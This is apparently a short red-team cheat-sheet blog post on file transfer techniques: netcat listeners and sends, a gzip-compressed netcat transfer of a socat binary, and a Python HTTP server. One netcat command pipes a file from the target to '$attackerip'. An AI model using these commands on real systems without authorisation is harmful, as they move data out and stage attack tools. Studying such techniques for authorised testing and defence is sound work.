Red Team File Transfers, All the Ways

ice-wzl
6 min readAug 12, 2023

Netcat File Transfer

  • Step 1
  • Create a file on the target box in the /tmp directory
touch file.txt
  • Set up the listener and direct STDOUT into the new file
nc -nlvp 1234 > file.txt
  • Send the file
nc [target box ip] 1234 < file-to-be-transfered.txt

Method Two

  • On the attacker machine run:
nc -lvp 443> transfer.txt
  • On the target run:
cat transfer.txt | nc $attackerip 443

NC Transfer with gzip data

//on target machine 
nc -nvlp 10000 | gzip -d > .y
//local machine
cat ~/tools/static-binaries/socat/socat | gzip -c - | nc 127.0.0.1 10000
// check md5 hashes match on both systems

Web Servers:

Python HTTP Server File Transfer

  • Start the Python Server in the directory where the file is located that you want to transfer
  • Use the ip address assigned to your box, if there is a vpn involved use the vpn address
python3 -m http.server
  • Above is for python3

--

--